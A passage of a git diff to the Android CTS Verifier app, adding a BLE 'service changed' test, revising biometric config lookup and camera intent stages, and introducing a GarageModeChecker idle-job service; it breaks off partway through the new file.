diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index b7e0fb1..6563e7e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,6 +19,7 @@
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
+import android.content.res.Resources;
 import android.hardware.biometrics.BiometricManager;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
@@ -246,8 +247,9 @@
     }
 
     static boolean deviceConfigContains(Context context, int authenticator) {
-        final String config[] = context.getResources()
-                .getStringArray(com.android.internal.R.array.config_biometric_sensors);
+        final Resources res = context.getResources();
+        final int resId = res.getIdentifier("config_biometric_sensors", "array", "android");
+        final String config[] = res.getStringArray(resId);
         for (String s : config) {
             Log.d(TAG, s);
             final String[] elems = s.split(":");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 1fd6a2b..b87156d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -116,6 +116,8 @@
             "com.android.cts.verifier.bluetooth.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED";
     public static final String BLE_READ_REMOTE_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
+    public static final String BLE_ON_SERVICE_CHANGED =
+            "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
     public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
             "com.android.cts.verifier.bluetooth.BLE_CHARACTERISTIC_READ_NOPERMISSION";
     public static final String BLE_CHARACTERISTIC_WRITE_NOPERMISSION =
@@ -172,6 +174,8 @@
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR";
     public static final String BLE_CLIENT_ACTION_READ_RSSI =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_READ_RSSI";
+    public static final String BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED =
+            "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED";
     public static final String BLE_CLIENT_ACTION_CLIENT_DISCONNECT =
             "com.android.cts.verifier.bluetooth.BLE_CLIENT_ACTION_CLIENT_DISCONNECT";
     public static final String BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION =
@@ -269,6 +273,9 @@
     private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
+    private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+        UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
 
@@ -278,6 +285,7 @@
     public static final String WRITE_VALUE = "CLIENT_TEST";
     private static final String NOTIFY_VALUE = "NOTIFY_TEST";
     public static final String WRITE_VALUE_BAD_RESP = "BAD_RESP_TEST";
+    public static final String SERVICE_CHANGED_VALUE = "CLIENT_SVC_CHG";
 
     // current test category
     private String mCurrentAction;
@@ -301,6 +309,15 @@
     // Lock for synchronization during notification request test.
     private final Object mRequestNotificationLock = new Object();
 
+    // Lock for triggering service changed event on server side.
+    private final Object mServiceChangedLock = new Object();
+    private static final int SERVICE_CHANGED_FLAG_INIT = 0x00;
+    private static final int SERVICE_CHANGED_FLAG_TRIGGER_ACTION = 0x01;
+    private static final int SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED = 0x02;
+    private static final int SERVICE_CHANGED_FLAG_ALL = 0x03;
+    private static final int SERVOCE_CHANGED_FLAG_IGNORE = 0xFF;
+    private int mServiceChangedFlag;
+
     private enum ReliableWriteState {
         RELIABLE_WRITE_NONE,
         RELIABLE_WRITE_WRITE_1ST_DATA,
@@ -463,6 +480,10 @@
                 case BLE_CLIENT_ACTION_WRITE_AUTHENTICATED_DESCRIPTOR:
                     writeDescriptor(CHARACTERISTIC_RESULT_UUID, DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID, WRITE_VALUE);
                     break;
+                case BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED:
+                    initializeServiceChangedEvent();
+                    writeCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, WRITE_VALUE);
+                    break;
             }
         }
     }
@@ -599,6 +620,29 @@
         }
     }
 
+    private void initializeServiceChangedEvent() {
+        synchronized (mServiceChangedLock) {
+            mServiceChangedFlag = SERVICE_CHANGED_FLAG_INIT;
+        }
+    }
+
+    private void sendServiceChangedEventIfReady(int flag) {
+        boolean shouldSend = false;
+        synchronized (mServiceChangedLock) {
+            mServiceChangedFlag |= flag;
+            if (mServiceChangedFlag == SERVICE_CHANGED_FLAG_ALL) {
+                mServiceChangedFlag |= SERVOCE_CHANGED_FLAG_IGNORE;
+                shouldSend = true;
+            }
+        }
+
+        if (shouldSend) {
+            writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                SERVICE_CHANGED_VALUE);
+            notifyServiceChanged();
+        }
+    }
+
     private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
         if (characteristic != null) {
             mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
@@ -791,6 +835,12 @@
         sendBroadcast(intent);
     }
 
+    private void notifyServiceChanged() {
+        showMessage("Remote service changed");
+        Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
+        sendBroadcast(intent);
+    }
+
     private BluetoothGattService getService(UUID serverUid) {
         BluetoothGattService service = null;
 
@@ -993,7 +1043,9 @@
                 Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
             }
 
-            if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
+            if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+                sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_TRIGGER_ACTION);
+            } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
                     BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
                 if (status == BluetoothGatt.GATT_SUCCESS) {
                     notifyMtuChanged();
@@ -1221,6 +1273,17 @@
                 notifyError("Failed to read remote rssi");
             }
         }
+
+        @Override
+        public void onServiceChanged(BluetoothGatt gatt) {
+            if (DEBUG) {
+                Log.d(TAG, "onServiceChanged");
+            }
+
+            if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
+                sendServiceChangedEventIfReady(SERVICE_CHANGED_FLAG_ON_SERVICE_CHANGED);
+            }
+        }
     };
 
     private final ScanCallback mScanCallback = new ScanCallback() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index b5220f8..bfcd85d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -60,7 +60,8 @@
     private static final int PASS_FLAG_INDICATE_CHARACTERISTIC = 0x8000;
     private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x10000;
     private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x20000;
-    private static final int PASS_FLAG_ALL = 0x3FFFF;
+    private static final int PASS_FLAG_ON_SERVICE_CHANGED = 0x40000;
+    private static final int PASS_FLAG_ALL = 0x7FFFF;
 
     private final int BLE_CLIENT_CONNECT = 0;
     private final int BLE_BLE_DISCOVER_SERVICE = 1;
@@ -79,7 +80,8 @@
     private final int BLE_READ_DESCRIPTOR_NO_PERMISSION = 13;   //14;
     private final int BLE_WRITE_DESCRIPTOR_NO_PERMISSION = 14;  //15;
     private final int BLE_READ_RSSI = 15;   //16;
-    private final int BLE_CLIENT_DISCONNECT = 15;   //16;   //17;
+    private final int BLE_ON_SERVICE_CHANGED = 15; //16; //17;
+    private final int BLE_CLIENT_DISCONNECT = 16;  //17; //18;
 
     private TestAdapter mTestAdapter;
     private long mPassed;
@@ -119,6 +121,7 @@
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_COMPLETED);
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
         filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
+        filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
         filter.addAction(BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION);
@@ -178,6 +181,7 @@
         testList.add(R.string.ble_write_descriptor_nopermission_name);
 // TODO: too flaky b/34951749
 //        testList.add(R.string.ble_read_rssi_name);
+        testList.add(R.string.ble_on_service_changed);
         testList.add(R.string.ble_client_disconnect_name);
 
         return testList;
@@ -347,13 +351,19 @@
                 // execute disconnection test
                 mPassed |= PASS_FLAG_READ_RSSI;
                 Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
                 break;
             case BleClientService.BLE_READ_REMOTE_RSSI:
                 actionName = getString(R.string.ble_read_rssi_name);
                 mTestAdapter.setTestPass(BLE_READ_RSSI);
                 mPassed |= PASS_FLAG_READ_RSSI;
                 // execute disconnection test
+                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+                break;
+            case BleClientService.BLE_ON_SERVICE_CHANGED:
+                actionName = getString(R.string.ble_on_service_changed);
+                mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+                mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
                 newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
                 break;
             case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
index f5e29ba..8177ca2 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerService.java
@@ -119,6 +119,8 @@
             "com.android.cts.verifier.bluetooth.BLE_ADVERTISE_UNSUPPORTED";
     public static final String BLE_ADD_SERVICE_FAIL =
             "com.android.cts.verifier.bluetooth.BLE_ADD_SERVICE_FAIL";
+    public static final String BLE_SERVICE_CHANGED_INDICATION =
+            "com.android.cts.verifier.bluetooth.BLE_SERVICE_CHANGED_INDICATION";
 
     private static final UUID SERVICE_UUID =
             UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");
@@ -137,6 +139,8 @@
             UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");
     private static final UUID SERVICE_UUID_INCLUDED =
             UUID.fromString("00009994-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_UUID_SERVICE_CHANGED =
+            UUID.fromString("00009993-0000-1000-8000-00805f9b34fb");
 
     // Variable for registration permission of Characteristic
     private static final UUID CHARACTERISTIC_NO_READ_UUID =
@@ -190,6 +194,12 @@
     private static final UUID UPDATE_CHARACTERISTIC_UUID_15 =
             UUID.fromString("00009955-0000-1000-8000-00805f9b34fb");
 
+    // Variable for registration characteristic of service changed service
+    private static final UUID SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID =
+            UUID.fromString("00009949-0000-1000-8000-00805f9b34fb");
+    private static final UUID SERVICE_CHANGED_CHARACTERISTIC_UUID =
+            UUID.fromString("00009948-0000-1000-8000-00805f9b34fb");
+
     private static final UUID UPDATE_DESCRIPTOR_UUID =
             UUID.fromString("00002902-0000-1000-8000-00805f9b34fb");
 
@@ -225,6 +235,7 @@
     private String mMtuTestReceivedData;
     private Runnable mResetValuesTask;
     private BluetoothGattService mAdditionalNotificationService;
+    private BluetoothGattService mServiceChangedService;
 
     // Task to notify failure of starting secure test.
     //   Secure test calls BluetoothDevice#createBond() when devices were not paired.
@@ -247,6 +258,7 @@
 
         mService = createService();
         mAdditionalNotificationService = createAdditionalNotificationService();
+        mServiceChangedService = createServiceChangedService();
 
         mDevice = null;
         mReliableWriteValue = "";
@@ -586,6 +598,16 @@
         resetValues();
     }
 
+    private void notifyServiceChangedIndication() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyServiceChangedIndication");
+        }
+        Intent intent = new Intent(BLE_SERVICE_CHANGED_INDICATION);
+        sendBroadcast(intent);
+
+        resetValues();
+    }
+
     private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
         BluetoothGattCharacteristic characteristic = mService.getCharacteristic(uuid);
         if (characteristic == null) {
@@ -607,6 +629,17 @@
         return descriptor;
     }
 
+    private BluetoothGattService createServiceChangedService() {
+        BluetoothGattService service =
+                new BluetoothGattService(SERVICE_UUID_SERVICE_CHANGED, BluetoothGattService.SERVICE_TYPE_PRIMARY);
+
+        BluetoothGattCharacteristic dummyCharacteristic =
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CHARACTERISTIC_UUID, 0x02, 0x02);
+
+        service.addCharacteristic(dummyCharacteristic);
+        return service;
+    }
+
     /**
      * Create service for notification test
      * @return
@@ -806,6 +839,11 @@
         notiCharacteristic.setValue(NOTIFY_VALUE);
         service.addCharacteristic(notiCharacteristic);
 
+        // Add new Characteristics (Service change control)
+        BluetoothGattCharacteristic controlCharacteristic =
+                new BluetoothGattCharacteristic(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID, 0x08, 0x10);
+        service.addCharacteristic(controlCharacteristic);
+
         return service;
     }
 
@@ -925,6 +963,8 @@
                     mService.addService(service);
                     mGattServer.addService(mAdditionalNotificationService);
                 } else if (uuid.equals(mAdditionalNotificationService.getUuid())) {
+                    mGattServer.addService(mServiceChangedService);
+                } else if (uuid.equals(mServiceChangedService.getUuid())) {
                     // all services added
                     notifyServiceAdded();
                 } else {
@@ -1007,6 +1047,9 @@
                     case DESCRIPTOR_READ_NO_PERMISSION:
                         notifyDescriptorReadRequestWithoutPermission();
                         break;
+                    case BleClientService.SERVICE_CHANGED_VALUE:
+                        notifyServiceChangedIndication();
+                        break;
                 }
                 if (responseNeeded) {
                     mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
@@ -1014,6 +1057,14 @@
                 return;
             }
 
+            if (characteristic.getUuid().equals(SERVICE_CHANGED_CONTROL_CHARACTERISTIC_UUID)) {
+                if (responseNeeded) {
+                    mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, offset, value);
+                }
+                mGattServer.removeService(mServiceChangedService);
+                return;
+            }
+
             // MTU test flow
             if (mCountMtuChange > 0) {
                 if (preparedWrite) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
index c58ee46..6adaad3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleServerTestBaseActivity.java
@@ -52,7 +52,8 @@
     private static final int PASS_FLAG_MTU_CHANGE_23BYTES = 0x4000;
     private static final int PASS_FLAG_MTU_CHANGE_512BYTES = 0x8000;
     private static final int PASS_FLAG_RELIABLE_WRITE_BAD_RESP = 0x10000;
-    private static final int PASS_FLAG_ALL = 0x1FFFF;
+    private static final int PASS_FLAG_SERVICE_CHANGED_INDICATION = 0x20000;
+    private static final int PASS_FLAG_ALL = 0x3FFFF;
 
     private final int BLE_SERVICE_ADDED = 0;
     private final int BLE_SERVER_CONNECTED = 1;
@@ -70,8 +71,9 @@
     private final int BLE_DESCRIPTOR_WRITE_REQUEST = 12;    //13;
     private final int BLE_DESCRIPTOR_READ_REQUEST_WITHOUT_PERMISSION = 13;  //14;
     private final int BLE_DESCRIPTOR_WRITE_REQUEST_WITHOUT_PERMISSION = 14; //15;
-    private final int BLE_SERVER_DISCONNECTED = 15; //16;
-    private final int BLE_OPEN_FAIL = 16;   //17;
+    private final int BLE_SERVOCE_CHANGED_INDICATION = 15; // 16;
+    private final int BLE_SERVER_DISCONNECTED = 16; //17;
+    private final int BLE_OPEN_FAIL = 17;   //18;
 
     private TestAdapter mTestAdapter;
     private long mAllPassed;
@@ -122,6 +124,7 @@
         filter.addAction(BleServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
         filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);
         filter.addAction(BleServerService.BLE_ADD_SERVICE_FAIL);
+        filter.addAction(BleServerService.BLE_SERVICE_CHANGED_INDICATION);
 
         registerReceiver(mBroadcast, filter);
     }
@@ -155,6 +158,7 @@
         testList.add(R.string.ble_server_write_descriptor);
         testList.add(R.string.ble_server_read_descriptor_without_permission);
         testList.add(R.string.ble_server_write_descriptor_without_permission);
+        testList.add(R.string.ble_server_service_changed_indication);
         testList.add(R.string.ble_server_receiving_disconnect);
         return testList;
     }
@@ -256,6 +260,10 @@
                 mTestAdapter.setTestPass(BLE_SERVER_MTU_512BYTES);
                 mAllPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
                 break;
+            case BleServerService.BLE_SERVICE_CHANGED_INDICATION:
+                mTestAdapter.setTestPass(BLE_SERVOCE_CHANGED_INDICATION);
+                mAllPassed |= PASS_FLAG_SERVICE_CHANGED_INDICATION;
+                    break;
             case BleServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
                 showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
                 break;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
index 5d2bff7..7eae01c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/intents/CameraIntentsActivity.java
@@ -101,7 +101,7 @@
         Camera.ACTION_NEW_VIDEO,
         null,
         null,
-        Camera.ACTION_NEW_VIDEO
+        null
     };
 
     private ImageButton mPassButton;
@@ -204,7 +204,8 @@
     }
 
     private void updateSuccessState() {
-        if (mActionSuccess && mUriSuccess) {
+        // Last stage requires additional step to switch on location permission
+        if (mActionSuccess && mUriSuccess && getStageIndex() < NUM_STAGES - 1) {
             mState = STATE_SUCCESSFUL;
         }
 
@@ -308,7 +309,7 @@
         // Only the last one uses the PassFailButtons click callback function,
         // which gracefully terminates the activity.
         if (stageIndex + 1 < NUM_STAGES) {
-            setPassButtonGoesToNextStage(stageIndex);
+            setPassButtonGoesToNextStage();
         }
         resetButtons();
 
@@ -379,7 +380,7 @@
         Boolean locationEnabled = (checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION) ==
                 PackageManager.PERMISSION_GRANTED);
 
-        if (getStageIndex() == STAGE_INTENT_VIDEO) {
+        if (getStageIndex() == NUM_STAGES - 1) {
                 /**
                  * Don't enable the pass /fail button till the user grants CTS verifier location
                  * access again.
@@ -412,7 +413,7 @@
     public void onPause() {
         super.onPause();
         /*
-        When testing INTENT_PICTURE, INTENT_VIDEO,
+        When testing INTENT_PICTURE, INTENT_PICTURE_SECURE, INTENT_VIDEO,
         do not allow user to cheat by going to camera app and re-firing
         the intents by taking a photo/video
         */
@@ -446,6 +447,9 @@
                             break;
                         case STAGE_INTENT_VIDEO:
                             handleIntentVideoResult();
+                            // No broadcast should be received because EXTRA_OUTPUT is set.
+                            // Proceed to update test result
+                            updateSuccessState();
                             break;
                         default:
                             return;
@@ -546,14 +550,6 @@
                             mState = STATE_FAILED;
                         }
 
-                        // For STAGE_INTENT_PICTURE test, if EXTRA_OUTPUT is not assigned in intent,
-                        // file should NOT be saved so triggering this is a test failure.
-                        if (getStageIndex() == STAGE_INTENT_PICTURE ||
-                            getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
-                            Log.e(TAG, "FAIL: STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE test should not create file");
-                            mState = STATE_FAILED;
-                        }
-
                         if (mState != STATE_FAILED) {
                             return true;
                         } else {
@@ -565,14 +561,8 @@
                 e.printStackTrace();
             }
 
-            if (getStageIndex() == STAGE_INTENT_PICTURE ||
-                getStageIndex() == STAGE_INTENT_PICTURE_SECURE) {
-                // STAGE_INTENT_PICTURE or STAGE_INTENT_PICTURE_SECURE should timeout
-                return true;
-            } else {
-                Log.e(TAG, "FAIL: timeout waiting for URI trigger");
-                return false;
-            }
+            Log.e(TAG, "FAIL: timeout waiting for URI trigger");
+            return false;
         }
 
         protected void onPostExecute(Boolean pass) {
@@ -614,7 +604,7 @@
             mTestEnv.setUp();
 
             /**
-             * Video intents do not need to wait on a ContentProvider broadcast since we're starting
+             * Intent stages do not need to wait on a ContentProvider broadcast since we're starting
              * the intent activity with EXTRA_OUTPUT set
              */
             if (stageIndex != STAGE_INTENT_VIDEO &&
@@ -767,7 +757,7 @@
         // Auto-generated method stub
     }
 
-    private void setPassButtonGoesToNextStage(final int stageIndex) {
+    private void setPassButtonGoesToNextStage() {
         findViewById(R.id.pass_button).setOnClickListener(this);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
new file mode 100644
index 0000000..a7f742f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.car;
+
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.app.job.JobScheduler;
+import android.app.job.JobService;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.os.AsyncTask;
+import android.os.Handler;
+import android.os.Message;
+import android.os.PersistableBundle;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.lang.ref.WeakReference;
+import java.util.List;
+
+public final class GarageModeChecker extends JobService {
+    private static final String TAG = GarageModeChecker.class.getSimpleName();
+
+    static final String PREFS_FILE_NAME = "GarageModeChecker_prefs";
+    static final String PREFS_INITIATION = "test-initiation";
+    static final String PREFS_GARAGE_MODE_START = "garage-mode-start";
+    static final String PREFS_GARAGE_MODE_END = "garage-mode-end";
+    static final String PREFS_TERMINATION = "termination-time";
+    static final String PREFS_JOB_UPDATE = "job-update-time";
+    static final String PREFS_HAD_CONNECTIVITY = "had-connectivity";
+
+    static final int SECONDS_PER_ITERATION = 10;
+    static final int MS_PER_ITERATION = SECONDS_PER_ITERATION * 1000;
+
+    private static final int GARAGE_JOB_ID = GarageModeTestActivity.class.hashCode();
+    private static final String JOB_NUMBER = "job_number";
+    private static final String REMAINING_SECONDS = "remaining_seconds";
+    // JobScheduler allows a maximum of 10 minutes for a job, but depending on vendor implementation
+    // Garage Mode may not last that long. So, max job duration is set to 60 seconds.
+    private static final int MAX_SECONDS_PER_JOB = 60;
+
+    private static final int MSG_FINISHED = 0;
+    private static final int MSG_RUN_JOB = 1;
+    private static final int MSG_CANCEL_JOB = 2;
+
+    private Context mIdleJobContext;
+
+    private boolean mReportFirstExecution = true;
+
+    public static void scheduleAnIdleJob(Context context, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        // Get the next available job ID
+        int highestJobNumber = 0;
+        for (JobInfo jobInfo : jobScheduler.getAllPendingJobs()) {
+            int jobId = jobInfo.getId();
+            if (highestJobNumber < jobId) {
+                highestJobNumber = jobId;
+            }
+        }
+        scheduleJob(context, highestJobNumber + 1, durationSeconds);
+    }
+
+    private static void scheduleJob(Context context, int jobNumber, int durationSeconds) {
+        JobScheduler jobScheduler = context.getSystemService(JobScheduler.class);
+        ComponentName jobComponentName = new ComponentName(context, GarageModeChecker.class);
+        JobInfo.Builder builder = new JobInfo.Builder(jobNumber, jobComponentName);
+
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putInt(JOB_NUMBER, jobNumber);
+        bundle.putInt(REMAINING_SECONDS, durationSeconds);
+
+        JobInfo jobInfo = builder
+                .setRequiresDeviceIdle(true)
+                .setExtras(bundle)
+                .build();
+        jobScheduler.schedule(jobInfo);
+    }
+
+    private final Handler mHandler = new Handler() {
+        private SparseArray<JobParameters> mTaskMap = new SparseArray<>();
+        private boolean mHaveContinuousConnectivity = true; // Assume true initially
+
+        @Override
+        public void handleMessage(Message msg) {
+            JobParameters job = (JobParameters) msg.obj;
+            switch (msg.what) {
+                case MSG_FINISHED:
+                    mTaskMap.remove(job.getJobId());
+                    jobFinished(job, false);
+                    break;
+                case MSG_RUN_JOB:
+                    checkConnectivity(msg.arg1);
+                    GarageModeCheckerTask task = new GarageModeCheckerTask(this, job, msg.arg1);
+                    task.execute();
+                    mTaskMap.put(job.getJobId(), job);
+                    break;
+                case MSG_CANCEL_JOB:
+                    JobParameters runningJob = mTaskMap.get(job.getJobId());
+                    if (runningJob != null) {
+                        removeMessages(MSG_RUN_JOB, runningJob);
+                        mTaskMap.remove(job.getJobId());
+                    }
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putLong(PREFS_TERMINATION, System.currentTimeMillis());
+                    editor.commit();
+                    Log.v(TAG, "Idle job was terminated");
+                    break;
+            }
+        }
+
+        private void checkConnectivity(int iteration) {
+            if (mHaveContinuousConnectivity) {
+                // Check if we still have internet connectivity
+                NetworkInfo networkInfo = getApplicationContext()
+                        .getSystemService(ConnectivityManager.class).getActiveNetworkInfo();
+                mHaveContinuousConnectivity = networkInfo != null
+                        && networkInfo.isAvailable() && networkInfo.isConnected();
+                if (iteration == 0 || !mHaveContinuousConnectivity) {
+                    // Save the connectivity state on the first pass and
+                    // the first time we lose connectivity
+                    SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                            Context.MODE_PRIVATE);
+                    SharedPreferences.Editor editor = prefs.edit();
+                    editor.putBoolean(PREFS_HAD_CONNECTIVITY, mHaveContinuousConnectivity);
+                    editor.commit();
+                }
+            }
+        }
+    };
+
+    @Override
+    public boolean onStopJob(JobParameters jobParameters) {
+        Message msg = mHandler.obtainMessage(MSG_CANCEL_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return false;
+    }
+
+    @Override
+    public boolean onStartJob(final JobParameters jobParameters) {
+        mIdleJobContext = getApplicationContext();
+        if (mReportFirstExecution) {
+            mReportFirstExecution = false;
+            // Remember the start time
+            SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putLong(PREFS_GARAGE_MODE_START, System.currentTimeMillis());
+            editor.commit();
+            Log.v(TAG, "Starting idle job");
+        }
+        Message msg = mHandler.obtainMessage(MSG_RUN_JOB, 0, 0, jobParameters);
+        mHandler.sendMessage(msg);
+        return true;
+    }
+
+    private final class GarageModeCheckerTask extends AsyncTask<Void, Void, Boolean> {
+        private final WeakReference<Handler> mHandler;
+        private final JobParameters mJobParameter;
+        private final int mIteration;
+
+        GarageModeCheckerTask(Handler handler, JobParameters jobParameters, int iteration) {
+            mHandler = new WeakReference<Handler>(handler);
+            mJobParameter = jobParameters;
+            mIteration = iteration;
+        }
+
+        @Override
+        protected Boolean doInBackground(Void... infos) {
+            int remainingSeconds = mJobParameter.getExtras().getInt(REMAINING_SECONDS);
+            int myMaxTime = Math.min(remainingSeconds, MAX_SECONDS_PER_JOB);
+            int elapsedSeconds = SECONDS_PER_ITERATION * mIteration;
+            long now = System.currentTimeMillis();
+            SharedPreferences prefs = mIdleJobContext.getSharedPreferences(PREFS_FILE_NAME,
+                    Context.MODE_PRIVATE);
+            SharedPreferences.Editor editor = null;
+
+            if (elapsedSeconds >= myMaxTime + SECONDS_PER_ITERATION) {
+                // This job is done
+                if (myMaxTime == remainingSeconds) {
+                    // This is the final job. Note the completion time.
+                    editor = prefs.edit();
+                    editor.putLong(PREFS_GARAGE_MODE_END, now);
+                    editor.commit();
+                    Log.v(TAG, "Idle job is finished");
+                }
+                return false;
+            }
+
+            editor = prefs.edit();
+            editor.putLong(PREFS_JOB_UPDATE, now);
+            editor.commit();
+            if (elapsedSeconds >= myMaxTime && (myMaxTime < remainingSeconds)) {
